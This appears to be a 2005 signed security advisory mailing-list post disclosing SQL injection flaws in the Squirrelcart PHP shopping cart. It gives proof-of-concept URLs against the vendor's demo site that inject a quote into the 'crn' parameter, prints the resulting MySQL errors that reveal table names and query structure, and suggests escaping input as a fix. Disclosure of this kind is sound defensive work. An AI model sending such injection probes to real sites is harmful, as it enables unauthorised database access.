This is a multi-part message in MIME format. ------=_NextPart_000_0082_01C534CE.223E4220 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dcrab 's Security Advisory http://icis.digitalparadox.org/~dcrab http://www.hackerscenter.com/ Severity: Medium Title: Squirrelcart PHP Shopping Cart SQL Injection Date: 30/03/2005 Vendor: Squirrelcart Vendor Website: http://squirrelcart.com Summary: There are, squirrelcart php shopping cart sql injection. Proof of Concept Exploits:=20 http://demo.squirrelcart.com/index.php?crn=3D'SQL_INJECTION&action=3Dshow= &show_products_mode=3Dcat_click&PHPSESSID=3D2069dbe1646bdc46e4e78718e76e6= d15 Sql injection MySQL error: You have an error in your SQL syntax; check the manual that = corresponds to your MySQL server version for the right syntax to use = near '\'SQL_INJECTION' at line 1 Query was: SELECT View_Products_per_View FROM Categories WHERE = record_number =3D \'SQL_INJECTION=20 http://demo.squirrelcart.com/index.php?crn=3D0&rn=3D&action=3Dshow_detail= &PHPSESSID=3D2069dbe1646bdc46e4e78718e76e6d15 Sql injection MySQL error: You have an error in your SQL syntax; check the manual that = corresponds to your MySQL server version for the right syntax to use = near '' at line 1 Query was: SELECT Table_2 FROM REL_Products__Sales_Agreement WHERE = Table_1 =3D MySQL error: You have an error in your SQL syntax; check the manual that = corresponds to your MySQL server version for the right syntax to use = near '' at line 4 Query was: SELECT DISTINCT d. * FROM Discounts d LEFT JOIN = REL_Products__Discounts pd ON d.record_number =3D pd.Table_2 WHERE = pd.Table_1 =3D MySQL error: You have an error in your SQL syntax; check the manual that = corresponds to your MySQL server version for the right syntax to use = near '' at line 1 Query was: SELECT Table_2 FROM REL_Products__Categories WHERE Table_1 = =3D=20 MySQL error: You have an error in your SQL syntax; check the manual that = corresponds to your MySQL server version for the right syntax to use = near '' at line 4 Query was: SELECT DISTINCT d. * FROM Discounts d LEFT JOIN = REL_Products__Discounts pd ON d.record_number =3D pd.Table_2 WHERE = pd.Table_1 =3D MySQL error: You have an error in your SQL syntax; check the manual that = corresponds to your MySQL server version for the right syntax to use = near '' at line 1 Query was: SELECT Table_2 FROM REL_Products__Categories WHERE Table_1 = =3D=20 Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), = mysql_real_escape_string() and other functions for input validation = before passing user input to the mysql database, or before echoing data = on the screen, would solve these problems. Author:=20 These vulnerabilties have been found and released by Diabolic Crab, = Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to = contact me regarding these vulnerabilities. You can find me at, = http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. = Lookout for my soon to come out book on Secure coding with php. -----BEGIN PGP SIGNATURE----- Version: PGP 8.1 - not licensed for commercial use: www.pgp.com iQA/AwUBQkm9TiZV5e8av/DUEQL7YgCcDO1d4A345g0elrACK0qWZJUp3HkAoOuf qBVrmet537qezReYIZkVju8Y =3DclQ/ -----END PGP SIGNATURE----- ------=_NextPart_000_0082_01C534CE.223E4220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable